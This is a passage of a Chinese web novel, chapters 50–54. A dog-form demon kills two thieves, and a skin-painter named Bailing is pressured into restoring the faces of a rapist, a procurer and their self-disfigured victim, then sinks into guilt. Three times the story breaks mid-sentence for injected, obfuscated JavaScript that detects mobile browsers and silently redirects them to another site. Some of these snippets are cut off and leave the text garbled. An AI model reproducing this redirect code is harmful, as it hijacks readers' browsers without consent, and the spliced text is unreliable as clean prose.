周延玉利用窄小的身体轻巧躲过一次又一次的攻击,遛狗似的陪着他在小巷里打转,地上留下了一道又一道爪痕。 “有本事别躲啊!”久攻不下,小偷气急败坏地叫嚣。 “好啊。”周延玉如愿所愿,静静立在原地。 小偷也停了下来,警惕打量这只小狗。 僵持了一会,他依旧没什么动静。 直到周延玉当着他的面,懒懒打了个哈欠。 他抓住机会猛地扑向周延玉。 “咔嚓!” 一声清脆的骨裂声在寂静的巷中格外刺耳。 这场自以为是的偷袭,尚未开始便已终结。 妖物轰然倒地,脖颈以一个诡异的角度歪向一边,裂开一道狰狞可怖的巨大伤口。 周延玉活动了一下下颌,总觉得少了鲜血的温热,这胜利似乎缺了点什么滋味。 “忘了告诉你,”周延玉踱步上前,在他耳边低语,声音冰冷,“你会死于话多。” “小骨!” 白夭夭的声音从身后传来。 “你抓到小……” 她的话戛然而止。看清地上那具死状凄惨的尸体时,她瞬间噤声,脸色发白。 太可怕了,他还真不是一般的妖怪。 周延玉对她的反应并不意外,只是走到那尸体腰侧,用鼻子拱了拱,示意荷包可能在此。 白夭夭强忍不适,蹲下身子摸索自己的荷包。 结果摸了半天,都一无所获。 “奇怪,怎么没有呢,不会抓错人了吧?” 两人疑惑之际,一个身影悄然从白夭夭背后冒出。 当白夭夭感觉到异常时,热气已经铺洒到她脖颈。 “低头!”周延玉大喝一声,随即从地上一跃而起。 白夭夭也反应迅速,偏头给周延玉留出了空间。 周延玉再次锁喉,一击毙命。 白夭夭受到惊吓,心一空,踉跄几步,瘫坐在地上。 “别担心,他们都死了。””周延玉虽也被这突如其来的第二波袭击搞得心有余悸,仍是转身,用尽量平缓的语气安慰道。 “我……我没事,多谢。”白夭夭深吸了好几口气,才勉强平复狂跳的心脏。 “他们俩都是小偷,应该是合伙的。” 周延玉看着地上身形相似,且身穿同样衣服的两人,得出了结论。 果然,白夭夭在另外一个人的身上摸到了自己的荷包。 这也是为什么他们两个人同时追小偷,却追到了不一样的方向。 “他们两个都是妖怪,但一个用的是真的身体,一个是假的。”周延玉道。 周延玉道。第一个被他咬断脖子时,他能清晰地感受到血肉骨骼的触感。而第二个,咬上去的质感却是异常的柔软。 幸好白夭夭追上的是第二个,不然后果不堪设想,百灵一定会伤心,说不定还会责怪他。 “他是叶知舟画皮坊里的假人。”白夭夭翻过第二个人的背后,指向那个极小的“叶”字说道。 至于那个真人,周延玉又走上前去,用爪子按在了他的尸体上。 虽然他对于回溯这种被夺舍的身体不抱希望,但还是想试一试。 这一试,却让他心头一沉。他头一次,什么记忆碎片都未能捕捉到,只回溯出一片空白。 “这身体的原主人,似乎失去了所有记忆。” “失忆了?”白夭夭惊道。 两人沉默思索片刻,随即不约而同地抬起头,目光交汇,异口同声地吐出了三个字: “无忧阁。” 51. 第 51 章 在决赛开始之前,叶知舟策划了一个预热前的活动,他设置了一场公开的善意画皮帮扶活动,让每个进入节决赛的画皮师自愿参与修复底层的有容貌瑕疵的鬼。 他作为举办者,会为这些有瑕疵的鬼支付画皮所用的金钱,彰显他的菩萨心肠。 “叶知舟又想搞什么?” 百灵并不觉得这只是一场单纯的作秀这么简单。 “他想要好名声,我们这些参赛者也需要,没什么好稀奇的。”宋清河对叶知舟这番操作没有怀疑。 “可是他为什么又不让学徒参与,是故意为难我们吗?” “你傻啊,这种肯定是做做样子,他不会像第一场比试一样故意为难了。”宋清河解释道,“除非他想打自己的脸,自己选出的能到决赛的画皮师这点水平都没有吗?” “你的意思是,他会随便找几个人来给我们画皮吗?” “对啊,走个过场罢了。” 虽然宋清河说的很有道理,但百灵还是心有不安。 叶知舟没有明说画皮师都必须参加,但她知道,自己没有拒绝的权利。 事到如今,走一步看一步吧,她已经坚持了现在,不可能因为这个作秀丢掉自己做梦都在想的画皮师魁首。 保险起见,百灵把假人的眼睛取了下来,将周延玉的妖丹当成吊坠戴在自己身上。 百灵分配到了三个有瑕疵待修复的鬼。 如宋清河所言,他们的残缺处很小,修复起来对她而言轻而易举。 可事情越是这样顺利,她越敢不安。 第一个鬼是个相貌英俊的男子,左脸上有一道长长的疤痕,但他眉眼实在长得出彩,并没有太大影响。 而且不知是不是百灵出现了错觉,这人怎么三番五次的给她抛媚眼呢? 叶知舟究竟是找了些什么人啊…… 确定了身边没有其他人,百灵大胆问道:“你是在看我吗?” “当然了,现在我面前的,除了你这个小美人,还能有谁呢?”男子笑了笑,颇为油腻道。 百灵被他这番调戏的话激的浑身一颤,眉头也不受控制皱起。 她强忍恶心,没有回应他,而是继续专心画皮。 “怎么了小美人?这就害羞了?”来人并不打算放过百灵。 百灵手中的画笔在他伤疤处重重一按,冷冷道:“闭嘴。” 本以为他会就此收敛,没成想他变本加厉,趁百灵不注意,偷偷伸出舌尖舔了一口她认真描摹的指尖。 百灵吓得抽回了手,连画笔都落到了地上。 这人是背对着底下观看的人,因此在他人眼里,看不见他的小动作,反而是百灵受惊的样子被看得一清二楚。 果然是可怜之人必有可恨之处。 当着众人的面不好发作,百灵狠狠瞪了他一眼后,还是选择继续忍耐。 接下来的工作,百灵都小心谨慎,生怕再被此人碰到。 她还加快了手中动作,希望速战速决。 谢天谢地,在她完成所有步骤后,那人在没有任何的举动。 她的修复天衣无缝,疤痕被完全遮住,只剩下轻微的凸起,不仔细看几乎分辨不出。 “小美人,你的手艺真不错啊。”男子摸了摸脸上几乎消失的疤痕,色眯眯盯着百灵道,“不如晚上试试我的手艺呢?” 百灵白了他一眼,并未多言。 她收拾好画皮的工具准备给第二位鬼修复,谁知那人见百灵不理她,竟直接拉住了她的手腕。 “你不领情的话,我可要去找别人了。” 百灵强忍怒意,低声喝道:“放手。” “好好好,我放手。”那人立刻松开手,随后话锋一转,“看来你没这个福气,我只能去找别的姑娘了。” 百灵隐隐察觉不对劲。 “你是做什么吗?脸上这道疤又是怎么来的?” 那人好似早有准备,漫不经心地笑着,用只有他们能听到音量道:“我是采花大盗啊,这道疤痕,自然是我的战利品。” “?” 百灵的心狠狠一拧。 “还真是多谢你了。”那人继续道,“有了这张脸,我想那些姑娘们不会浪费时间跟我反抗了。” 听到他大言不惭的言论,百灵拿着工具的手在微微发抖,她竟然亲手给一个人渣修复好了面容。 坏人不是她,但她却帮助了坏人,那她同坏人有什么区别呢? 她自小学习画皮,是为了创造美,是为了帮助那些值得帮助的鬼,为什么要浪费我的技艺在这渣滓身上? 叶知舟,真是好狠毒的一招。 百灵努力压制住内心即将喷涌而出的愤怒,告诉自己千万不要离开,不要逃走,绝对不能让叶知舟如愿。 一定是他刻意设下的圈套,绝对不能上当。 我是画皮师,我的工作是修复皮囊,至于皮囊之下是什么,与我的技艺无关,和我无关…… 百灵不停在心中自言自语。 调整好状态,她收拾好思绪,无视那个采花大盗,自顾自走向第二个人。 这第二个鬼是个有些上了年纪的老人,他身上布满了大大小小深浅不一的尸斑和老年斑,百灵需要替他遮盖住。 这不是个困难的活,但比较精细,需要有耐心。 对于一些颜色较浅比较小的部位,她调好颜色后慢慢点涂在上面。 “姑娘啊,你多大了?” 许是坐久了无聊,老人突然开口和她寒喧。 百灵吸取了上一位的教训,决定断掉他想要交流的念头,严肃道:“我画皮时需要专心,请不要同我说话。” “好好,你慢慢来……”老人听话点点头。 百灵庆幸这一位总算正常些了。 可她没来得及高兴太久,那人又忍不住开口同她说话:“你这画皮的手艺能赚钱吗?” “……” 见百灵不应答,他又自顾自厚脸皮道:“不然我给你介绍个好活计,比你现在轻松不少,又赚得多。” “我不需要。”百灵冷淡道。 她算是明白了,不管她回应与否,这些人都会坚持和她说自己想说的话。 叶知舟啊叶知舟,为了整她,可真是找了些敬业的好演员。 如她所料,老人仿佛听不见她的拒绝,滔滔不绝接着道:“就在这芜月楼附近,旁边的醉春楼,你听说过没?” “你老糊涂了吧?想我去做妓女?” 既然不能赌上他们的嘴,那自己也不忍了。 “我哪说了?”老人急了,“我的意思是让你去里头做个端茶送水的,怎么不比你在外面这抛头露面的体面不是?” “怎么?你一把骨头了他们看不上,想把我卖进去赚钱啊。” 百灵深谙这个所谓的好活力绝非端茶送水这么简单,那不过是个开始,只要进去了那种地方,身边的环境氛围,所有的人都会有意无意引导你步入深渊。 “我是好心!你看看你,小小年纪对我一个老人家咄咄逼人,话说的多难听!” 百灵怒了,刚准备反驳,突然感觉身旁有人戳了戳她。 扭头一看,是宋清河。 两人对视的时候,宋清河眼神示意她往下看。 她刚才没收住,和那为老不尊的畜生对骂,被台下的观众一直议论着盯着看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152262|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他们距离远,听不见他们聊天的内容,只知道画皮师和一个老人起冲突了。 “不管怎样,画完再说。”宋清河提醒道,“你如果在他们面前留下了不好的印象,拿了第一名也没用。” 宋清河说的不错,这是一场慈善表演,她们其实也是演员。 而且当局者迷,旁观者清,他们看到的是她做为上位者的画皮师,面对这些可怜的底层人毫不客气的样子。 百灵叹了一口气,无奈点头道:“我知道了,多谢提醒。” 这是表演,都是假的,不要当真,也不要生气。 百灵内心一边默念,一遍继续画皮。 老人看到她吃瘪的模样特别得意,越发来了劲:“不过老实说,你这样的姿色在里面还是可以赚到钱的,只要你肯放下你那没用的脸面,荣华富贵自然都来了。” 听不见,听不见,我什么都听不见。 “你这样的我见多了,一开始都不乐意。”老人喋喋不休,“让旁边那个采花贼睡上一觉就老实了,守身如玉给谁看呐!” 百灵不觉加快了手中的动作。 “不过这做鬼有鬼的好处啊,那些个如花似玉的姑娘们,怎么糟蹋都没事,反正也不会怀孕……” 百灵动作一滞,闭上眼用力深吸几大口气缓解压抑的情绪。 要不是当着这么多人的面,她恨不得原地把这个老不死的给阉了。 终于,她熬过了这辈子最漫长的煎熬,补全了所有瑕疵。 她第一次觉得画皮这件事如此艰难。 轮到最后一个鬼,她是一个小姑娘,低垂着脑袋,看起来柔弱胆怯,让人很有保护欲。 直觉告诉百灵,她应该是个正常人吧。 可当她抬起头时,百灵愣住了。 她半张脸几乎都毁容了,在手腕和脖颈处还有多处伤口。 是因为毁容了所以想不开要自裁吗? 百灵不敢多问,只默默拿起工具,想帮助她恢复如初。 “……不” 她的手指才落在小姑娘的脸上,就听见她低声反抗了一句。 “别怕,我是来帮你的。”百灵温和抚慰道。 小姑娘依旧摇头表示拒绝。 “我会尽量帮你复原的,从此你就可以光明正大见人了。”百灵以为她在担忧,又出声安慰。 “不,不是的……” 她的反抗的态度更加坚决了。 “你怎么了?有事可以和我说说?是不相信我吗?”百灵俯下身子,轻声细语问她。 “不是。”她痛苦地否认,而后将视线转向了那二位。 那二位让百灵怒火中烧的鬼。 “他们怎么了?”百灵又问。 “我不要……”女孩忽然激动起来,声音带着绝望的哭腔,“我不要回去,求求你,帮帮我……” 回去?回哪里?醉春楼么? “让旁边那采花贼睡上一晚就老实了!” 老畜生那令人作呕的话语,如同惊雷,在百灵脑海中炸响。 她瞬间明白了。 这个小姑娘是被那个老畜生诱骗到了青楼,但是她宁死不从,所以老畜生让采花贼强行要了她。 但她依旧不从,而她的脸…… 是自己毁掉的吗? “我的脸如果变回去了,他们会继续逼我的。”小姑娘说这话时没有难过的神色,只有面对绝望孤注一掷的祈求,“所以求求你了……” 真相如同冰水,兜头浇下,百灵的心凉了大半截。 这的确是一出安排好的戏,只是戏里面的人都是真的,他们的卑劣、无耻、痛苦和绝望,都是真的。 52. 第 52 章 百灵陷入了一个两难的困境之中。 如果她选择装傻,替这个小姑娘修复毁掉的面容,那无疑是在助纣为虐。可是她若是选择跟随自己的心,站在小姑娘这边,那她今日肯定下不来台。 左右无法做出抉择,她僵在原地,手中的工具似有千斤重,提起不是,放下也不是。 时间在挣扎中流逝,她依旧没有动作。 身为画皮师,她第一次如此清晰地感受到,自己的决定将如何左右另一个魂灵的命运。 这重量,实在太沉,沉得她几乎无法呼吸。 “诸位画皮师们,若你们已经完成,便可带着你们的杰作,走到中间来展示。” 屋漏偏逢连夜雨,台上的司仪催促着他们这些画皮师们。 感受到身旁的画皮师们一个个起身、离去,百灵如坐针毡。 “百灵,你怎么回事?”宋清河去而复返,语气焦灼,“快动手啊,还愣着干什么!” 按百灵原先的设想,她无比渴望此刻能有人替她做出决定。可当这个人真的出现,她才绝望地发现,她根本做不到。 因为在她心底,早已有了选择。 从她为那采花贼修复疤痕开始,她便错了。既然错了,就不能一错再错。 “不,我不干。”百灵摇了摇头,声音不大,却异常清晰,“我要放弃。” “你说什么胡话?”宋清河并不理解,皱眉道,“有什么事情结束后再说,别在这个时候掉链子。” “不,我真的不行。”百灵再次拒绝,侧脸看向宋清河,神色复杂,“我是画皮师,不是一个刽子手。” 宋清河沉默了,从百灵的眼神中,她似乎读懂了什么。 当初她也是这样,为了坚持自己画皮的初心,质问百灵。 她转头将目光移到百灵面前那个小姑娘的脸上。 从她祈求带着感激的复杂眼神中,宋清河隐隐意识到了百灵为什么抗拒。 “你确定要这么做?”她不再劝阻,只是郑重地确认她的决心。 “确定。”百灵缓缓放下了手中的工具,仿佛卸下了千斤重担,却又被更沉重的东西压住。 然而,危机并未随之结束。 一个接一个的画皮师带着自己的“作品”走上前自信展示,接受完人们的赞扬,然后心满意足离场。 最终偌大的台上只剩下孤零零的百灵,还有陪在她身边的宋清河。 “百灵画皮师,”司仪的声音带着不留情面的锋利,将全场目光引向她们,“请问你迟迟不动,是准备放弃为这位可怜的姑娘修复容貌吗?” 议论声如同潮水般瞬间涌起,此起彼伏。 “这画皮师怎么回事,不就是留到了决赛,怎么人还飘起来了?给我们这些老百姓画个皮怎么了?” “我看她是技不如人吧,怕暴露自己不会,所以干脆撂挑子不干了。” “可是我看她前两位都完成的挺好的呀,是不是出啥情况啊?” “好什么呀,眼睛出问题了吧,明明给头两位画的也不情不愿的。” “……” 人群中,有质疑的、诋毁的,还有不明真相困惑的,单纯看热闹的,这些声音交织在一起,未经允许灌入百灵的耳中。 好吵,真的好吵…… 一旁的宋清河也随之紧张起来,她心知肚明,再僵持下去,局面只会更加失控。 “百灵,”她轻唤一声,提出折中之策,“不如,我来。” 她自然也不愿意做一个冷血的刽子手,但是她坚信自己可以补救回来,因为她有钱且有权。 在她的认知中,这个世界几乎所有的问题都可以以用钱权来解决。 可百灵却不这么认为。 “不用,”她斩钉截铁地拒绝,“别动她。” 场面,彻底陷入了僵局。 百灵打定主意,就这样耗下去,看谁先撑不住。 “大家快来看啊!”本已下场的采花贼不知何时又折返回来,指着百灵高声控诉,“就是这个画皮师,清高得很呐,给我画皮时百般嫌弃,现在倒好,连装都懒得装了!” 百灵岿然不动。 她不是不想替自己辩解,而是她认清了现实,她势单力薄,和这种无耻之人根本说不清楚。 “就是你,你叫百灵是吧!”那老头子也冲上来,加入讨伐的局面,“我好心好意想关心一下你,你却让我这个老头子闭嘴,真让人寒心呐!” 宋清河茫然看向这两个不速之客,还有一脸漠然的百灵。 原来如此,她被人设计了。 “你们两个人在这里血口喷人,有证据吗?” 见百灵没有反应,宋清河主动找起身替她对峙。 “证据?”采花贼笑了,“这底下这么多人,这么多双眼睛看着,不就是证据吗?” “是啊,而且我都一把年纪了,何必栽赃陷害他一个小姑娘?”老头跟着附和。 “这不是宋家的千金小姐吗?怎么也掺合进来了?” 看客中有人认出了宋清河。 “那还用说吗?跟那丫头肯定一伙的,眼睛长在头顶上,都瞧不起人……” “这样的人怎么能能当画皮师啊?总有一天毁到他们手上。” 宋清河完全没想到,她的正义发声,不仅把自己栽进去了,还让局势变得更糟糕了。 此时此刻,台上受煎熬的还有一人。 那个始终跟随百灵一言不发的小姑娘。 她亲眼目睹了百灵为她坚持,见证了仇人的无耻污蔑,也听到了那些不明真相的刺耳议论…… 既然事情是因她而起,那就由她结束吧。 她没有勇气揭开自己的伤疤,像宋清河那样子大胆站出来发声,但她可以妥协。 至少这一次,不是向着憎恨的人。 “来吧……”女孩主动将百灵放下的工具,轻轻塞回她手中,对她露出一个苍白而苦涩的微笑。 百灵的心被狠狠一撞。她凝视着这个无比坚强的女孩,用眼神无声地呐喊:“不要……” 不要对自己这么残忍,也不要对她这样…… “我相信你,”女孩紧紧握住她的手,眼中只剩下坚定,“来吧。” “大家都看到了吗?事情并非你们所想!”宋清河抓住时机,扬声澄清,“百灵迟迟未动,并非不愿,而是在等待,等待这位姑娘,做好心理准备!” 局势顷刻间出现了微妙的反转,台底下原本一边倒的声浪中,开始掺杂些许犹疑。 “什么等待呀?分明都是借口,怎么其他人没有等,我也没有等!”采花贼不甘心,扬声反驳道。 “你是没有等,那就代表别人也不需要等吗?你可以代表所有人吗?”宋清河也丝毫不惧。 她步步紧逼:“难道就不允许我们画皮师有点耐心吗?也许有些人就是害怕,我们安抚他们错了吗?” “你这个丫头,讲话这么不客气!这是你们画皮师该有的态度吗?”老头又想倚老卖老。 “你,你们。”宋清河一边指着这两个人,一边义正严辞道,“我们在这里辛辛苦苦为你们画皮,得不到你一句感谢,反而还以德报怨,你们又是什么居心?” 宋清河越战越勇的气场,还有她不容小觑的背景,终于是让这两个胡搅蛮缠的人心虚闭嘴,悻悻退下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157388|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >现在,压力回到了百灵身上,她只需要完成这最后一步。 “百灵,画吧。”宋清河又走到她的身边,蹲下身子劝她,“这是她自己的选择,和你没有关系。” 怎么……怎么会没有关系呢? 百灵有苦说不出。 要不是为了保护她的名声,那些所谓的脸面,她知道小姑娘不会这样做的。 可她越是这样委屈求全,百灵越是下不去手。 宋清河知道百灵已经在动摇了,因此继续劝导她:“她能够退让,已经很不容易了,如果你现在还是什么都不做的话,那她做的牺牲,可都白费了。” 百灵深吸一口气,内心仍在剧烈的挣扎。 她当然知道宋清河说的话有道理,她们两个人都在努力地证明她的清白,她如果还是不做点什么,那就是辜负了她们。 “姐姐,动手吧,”女孩也轻声开口,语气平静得令人心疼,“我不会怨你,能为我坚持到现在,我已经,很知足了。” 百灵鼻尖一酸,强行压下喉头的哽咽。 她生平第一次,如此厌恶自己的无能与无力。 “对不起……” 这众目睽睽之下,百灵艰难开始了画皮的工作。 她只觉得自己像一具行尸走肉,最后替她缝补新皮的边缘时,她始终不敢与女孩有任何眼神交汇。 伴随着最后一针落下,毁容的半张脸被光洁的新皮取代,原本的质疑也随之不见。 “好!” 司仪带头鼓掌,底下也跟着响起一片掌声。 “让我们为百灵画皮师的精湛技艺,更为她耐心安抚受助者的这份仁心,一起喝彩!” 在热烈的掌声中,司仪还不忘拉踩一下方才那二人,“也感谢她,不计较某些人的无理取闹,依旧坚持完成了善举,真正展现了我们画皮师的气度与仁德!” 宋清河也松了一口气,轻轻拍了拍百灵的肩膀,安抚道:“结束了,都结束了,我们赢了。” 百灵却一点也笑不出来。 她沉默地收拾着自己的工具,一样一样,动作缓慢而机械。 台下是赞誉,台上是如释重负的宋清河,和被修复后不知是喜是悲的小姑娘。 百灵却觉得,自己好像输掉了什么非常重要的东西。 小姑娘站起身似乎想离开,百灵却适时拉住她:“你住在什么地方?有需要我帮助的地方吗?” 百灵迫切希望自己能为这个可怜的姑娘做一点事,哪怕就一点,好减轻她心中的负罪感。 可她却摇了摇头,抽开了百灵的手。 然后,她便低着头,快步走下台,身影迅速消失在人群中。 为什么,她是在怨自己吗?怨自己不够坚定,应该再坚持一会吗? “百灵,”宋清河看着她失魂落魄的样子,忍不住又道,“我知道你心里不好受,但有时候,我们不得不做一些违背本心的事,这就是现实。至少,你保全了更重要的东西,你的资格和名声。” 百灵终于停下脚步,看向宋清河,眼神里充满了疲惫和一丝茫然。 “清河,”她轻声问,像在问宋清河,也像在问自己,“我保全了的这些,真的比那个女孩的未来,更重要吗?” 宋清河一时语塞,无法回答。 百灵没有再追问,她收回目光,重新迈开脚步。 阳光照在她身上,她却感觉不到一丝暖意。 身体的疲惫远不及心头的沉重。 那个坚持画皮即是帮助值得帮助之人的百灵,好像被留在了那个充满掌声和赞誉的台上。 而走下去的这个,是一个连自己都感到陌生的百灵。 53. 第 53 章 回到住处后,百灵就将自己封闭起来。 她陷入了一种麻木的虚无,她看着自己为决赛准备的、那具近乎完美的身体,第一次感到了厌恶。 她到底是为什么来参加这场比试? 是为了夺魁啊,为了实现她一直以来的心愿。 可是这条路若是踩着她人的身体上来的,那她情愿从未来过。 情愿就一辈子就做一个普普通通的画皮师。 她想起了自己的第一次画皮,是给隔壁村卖鱼的孙大娘。 其实她是来找姐姐的,但百会为了让百灵有机会锻炼,选择不收钱先让经验尚浅的她试试。 第一次她很紧张,也很谨慎小心,好不容易为孙大娘缝补上了新皮,但她忽视了孙大娘做表情时脸上出现的褶皱,所以新皮一下就裂开了。 她慌极了,觉得自己搞砸了,但孙大娘却和蔼安慰她没事。 姐姐也在一旁指导她,告诉她总在纸上和石头上练习,可那些终究是假的,和真人不一样。 真人会笑会哭会做各种表情动作,所以真正实践起来没那么简单。 她认真听着,然后在两人的耐心鼓励下成功完成了鬼生第一个“作品”。 后来孙大娘还特意送了她们一筐鱼以示感谢,她那时只觉得鱼真好吃,还不太明白画皮的深意。 直到姐姐要走了,她给百灵留下了很多画皮的工具,告诉她要继续学习,同时不要忘记重要的事。 画皮不仅为谋生,更是活下去的价值和意义,有时甚至能为他人带来新生。 她一直这么想的,也一直这么做,所以从来不热衷于谋划生意,而是她在意她从画皮这门手艺中得到了多少。 迄今为止,她得到了发自内心的认可、真诚的感谢、不加掩饰的笑容,这些让她一度为自己骄傲自豪。 可现在,全毁了,全被这一场作秀给毁了。 她无比厌恶像叶知舟这种人,可现在她和他又有什么区别呢? 一直以来,像头雌狮斗志满满的百灵彻底泄气了。 她趴在床上一动不动,思考着自己是否要继续。 叶知舟一直想让她为自己所用,今天设的这个句,是想让她先脏了手,好转而投入他的阵营吗? 就算她真的拿了第一名,那又怎么样呢?有可能叶知舟用唾手可及的荣耀威胁她,不从就让她身败名裂,从了则可以成为人人称羡和仰慕的画皮师。 那时的她,被高高捧上巅峰的她,真的能抗拒的了这种诱惑吗?能坚定地说“不”吗?能接受跌落谷底从此一蹶不振吗? 如果是当初那个初出茅庐的百灵,也许会倔强反抗,到她已经不是那个她了。 从第二场比试开始,叶知舟就已经悄然为她种下一颗虚荣的种子,它在心底偷偷扎根,如今已经盘根错节,静待开花结果。 而决试的荣耀,底层孤儿画皮师在关系户比试中逆袭成第一画皮师,就是最好的肥料。 到了那时,她恐怕要叫做叶百灵了,他一手打造出的完美作品,如果不能为自己所用,肯定会冷漠毁掉。 现在退出,还来得及吗? 她甘心吗…… 完美的骨架,九死一生取来的千年花珀,周延玉以信任之名交给她的妖丹,都用不上了吗? 百灵不得不承认,她是个自私且贪婪的人,两者她都想要,都不想放手。 既想要光芒,也想独善其身。 但这似乎很难做到。 因为她已经不干净了,已经是个罪人了。 烛火摇曳了一下,映在她为决赛准备的那具完美身体上,那光滑的、毫无生气的脸颊仿佛正对她露出一个冰冷的、类似叶知舟的嘲讽笑容。 百灵背过身去,不愿再看。 …… 不知过去了多久,床脚下一个毛茸茸的身影轻轻动了动。 是化作动物形态的周延玉。 白夭夭一大早就把他给送过来了,但是那个时候百灵不在屋子里,他就只好找了个隐蔽的角落窝着。 百灵回来时,他第一时间就感应到了,只是她回来就瘫倒在床上,周延玉以为她累瘫了,所以没有立刻现身。 就这样百灵一直睡到凌晨,连宋清河敲门喊她吃晚饭都没有回应。 周延玉这才意识到不对劲,也不至于睡这么久吧。 他动了动身子,找准方向,轻盈地一跃,悄无声息地落在了床榻边沿。 如今他是一只狗,应当不算太过冒犯。 他伸出爪子,极轻、极缓地拨开了蒙在百灵头上的被子。 睡得这样沉么? 可眉头怎么蹙得这样紧……是梦魇了? 他又凑近了些,借着窗外透进的微光,才赫然看清她眼下未干的泪痕。 她……哭过? 为什么? 周延玉屏住呼吸,小心翼翼地靠近,最后将自己温热的小脑袋,轻轻贴上了百灵的额角。 刹那间,那些痛苦的挣扎、近在咫尺的绝望,如同潮水般涌入他的识海。 这是周延玉第一次,通过回溯感受到如此沉重、几乎令他窒息的痛苦,仿佛亲身经历了那场诛心的困境。 紧随其后的,是愤怒和心疼。 愤怒叶知舟处心积虑设下的陷阱,心疼百灵根本无力阻挠。 许是感知到额头的触感与动静,百灵无意识地翻了个身,蜷缩起身体侧躺着。 这一动,身上的被子随之滑落了几分。 周延玉立刻用嘴衔起被角,小心翼翼地往上拉扯,直至将她肩头重新盖得严严实实。 他担心百灵着凉,索性在她枕边安静地趴伏下来,准备就这样守她一夜。 夜半时分,百灵在睡梦中辗转反侧。周延玉立刻警醒地抬起头,凑到她面前,紧张地观察着。 谁知下一刻,百灵手臂一揽,竟连着他与被子一同,卷进了温暖的被窝里。 周延玉瞬间僵住。 百灵柔软的手臂和身躯将他圈在怀里,压得他有些喘不过气 他想动但却不敢,生怕惊醒了百灵。 在这方狭小却无比温暖的空间里,周延玉甚至能清晰地听见她平稳的心跳声,嗅到她身上那股独特的、带着泥土与花草清香的安宁气息。 也许是动物的本能,或许是他自己的欲望做祟,让周延玉无比受用这样的亲密无间的姿势。 百灵的体温烘得他周身暖洋洋,甚至有些发热。 周延玉极为小心地、一点一点抬起脑袋,试图让过于昏沉的自己清醒些许。 昏黄的灯光下,周延玉发现在百灵的下巴和脖颈相接之处,竟然有一颗红色的痣。这么隐蔽的位置,估计连她自己都不知道吧。 百灵呼出的热气撒在他的头顶,周延玉觉得有些痒,不止是头。 与此同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167659|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怀抱里多了个热乎乎小狗抱枕的百灵,似乎睡得更安稳了些。 …… 天还未亮,百灵就被热醒了。 迷迷糊糊间,她慢慢察觉到怀里的触感不大对劲。 她低头一看,一个黑色煤球一样的东西正窝在她怀里睡的正香。 这是……周延玉? 他是什么时候进来的?还自作主张溜到了她的被窝里去。 虽然但是,抱着还挺舒服的。 她本该生气,到现在的她没精力和他计较了。 她真想在床上眼睛一闭,就这样睡一辈子。 睡梦中的周延玉不安分动了动前爪,百灵忽视感觉有什么东西硌着她了。 伸手往怀里一掏,发现是周延玉的妖丹。 她从脖子上取下来,静静凝视着。 是时候该物归原主了。 她轻轻垂下手臂,想套到小狗的脖子上去。 可她的指尖才碰到周延玉,他就醒了。 两人就这样尴尬着大眼瞪小眼,同时愣住。 就在周延玉犹豫怎么跟她解释不是自己偷偷钻被窝时,百灵先一步开口了。 “还给你。” 什么? 周延玉上前走了两步,看清百灵说得还给他原来是自己的妖丹。 ……可是怎么这么突然? 百灵坐起身,周延玉也顺势从温暖的被窝走出来。 她眼神示意那副即将完工的身体,面无表情道:“我这几天在赶赶干,你就可以拿走他了。” 什么意思,又要着急跟他划清界限吗? “不用这么着急,妖丹先放你那儿吧,比试不是还要用吗?”周延玉小心翼翼道。 “不用了,不比了。” 说这话时的百灵一脸生无可恋的模样。 “不比了?为什么?”周延玉震惊。 “没有为什么,就是不比了。”百灵并不想吐露太多。 关于这次比试百灵有多么重视,周延玉非常清楚。 她一定是被逼到了绝境,才选择放弃的。 是因为……那个小姑娘吗? 周延玉能理解百灵的心情,但没想到她会因为这个放弃比试。 “那不是你的问题,是叶知舟在背后搞鬼。” 闻言,百灵缓慢转动脖子,语气不冷也不热,垂眸道:“周延玉,你回溯我。” “……”周延玉如鲠在喉。 本来想安慰她,结果弄巧成拙,暴露了。 “不管是谁在背后搞鬼,我都不干了。” 谁知百灵只是提醒他了一嘴,随即又强调了一遍自己的决心。 “可你这样,之前做的努力不都白费了吗?” “可我不这样,就会变成跟叶知舟一样的人。” 怎么会?周延玉睁大了双眼,百灵怎么会这么想呢? 她只是无心误伤了一个小姑娘,就严重到把自己和叶知舟混为一谈吗? “你怎么可能会变成叶知舟呢?” “人都是会变的。”百灵摇头道,“我并不认为自己有那个毅力,可以始终如一。” “可是我相信你,你可以的。” “你相信我没用,我也不需要你相信。” “……” 周延玉沉默了,几番来回交流,他明白百灵现在根本听不进自己的话,说什么都是于事无补。 54. 第 54 章 自从和周延玉在小巷解决了那两个来历不明的妖怪时,白夭夭心中就一直惦记着这件事。 她知道这事和叶知舟有关,但却找不到什么合适的时机开启这个话题来试探这个老狐狸。 以至于这几日与他相处时,她总显得心不在焉、欲言又止。 